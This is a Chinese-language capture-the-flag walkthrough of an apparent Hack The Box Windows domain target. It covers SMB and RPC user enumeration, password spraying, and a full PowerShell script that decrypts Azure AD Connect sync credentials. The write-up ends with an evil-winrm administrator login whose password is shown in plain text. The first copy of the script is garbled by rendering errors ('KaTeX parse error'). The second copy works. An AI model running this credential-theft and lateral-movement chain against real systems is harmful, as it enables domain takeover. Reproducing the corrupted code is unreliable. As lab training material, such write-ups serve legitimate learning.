信息收集

smbclient

允许匿名登录，但是没有工作组。

5985端口

目录扫描，存在wsman，后续可能会涉及到winrm。

RPC

rpcclient -U "" -N 10.10.10.172

收集用户信息enumdomusers。

querydispinfo

没有更多信息，试试对收集到的用户进行暴力破解。


使用SABatchJobs:SABatchJobs登录smb。

users$有几个文件。

要是遇到套娃的就难受了。

有smbmap可以帮到我们。



对获得的用户以及4n0therD4y@n0th3r$来进行组合测试。

mhope

mhope用户目录下发现了.Azure。

许多与Azure有关的软件

Function Azure-ADConnect {param($db,$server)
$help=@".SYNOPSISAzure-ADConnectPowerShellFunction:Azure-ADConnectAuthor:LuisVacas(CyberVaca)Basedon:https://blog.xpnsec.com/azuread-connect-for-redteam/Requireddependencies:NoneOptionaldependencies:None.DESCRIPTION.EXAMPLEAzure-ADConnect-server\mathrm{10.10.10.10}-dbADSyncDescription-----------ExtractcredentialsfromtheAzureADConnectservice."@if($db -eq $null -or $server -eq KaTeX parse error: Expected '}', got 'EOF' at end of input: null) {help} else {
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList “Server = $server; Database = $db;InitialCatalog=$db;
Integrated Security = True;”
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = “SELECT keyset_id, instance_id, entropy FROM mms_server_configuration”
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = “SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = ‘AD’”
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path “C:\\Program Files\\Microsoft Azure AD Sync\\Bin\\mcrypt.dll”
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1,[ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content KaTeX parse error: Expected '}', got 'EOF' at end of input: … Expression = {.node.InnerXML}}
$username = select-xml -Content KaTeX parse error: Expected '}', got 'EOF' at end of input: … Expression = {.node.InnerXML}}
$password = select-xml -Content KaTeX parse error: Expected '}', got 'EOF' at end of input: … Expression = {_.node.InnerXML}}

"[+] Domain: " + $domain.Domain
"[+] Username: " + $username.Username
"[+]Password: " + $password.Password
}}

貌似没连接上数据库呢。

作出修改可以运行。

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = 127.0.0.1; Database = ADSync; Initial Catalog=ADSync; 
Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()add-type -path "C:\\Program Files\\Microsoft Azure AD Sync\\Bin\\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}"[+] Domain:  " + $domain.Domain
"[+] Username: " + $username.Username
"[+]Password: " + $password.Password

evil-winrm -i target_Ip -u administrator -p d0m@in4dminyeah!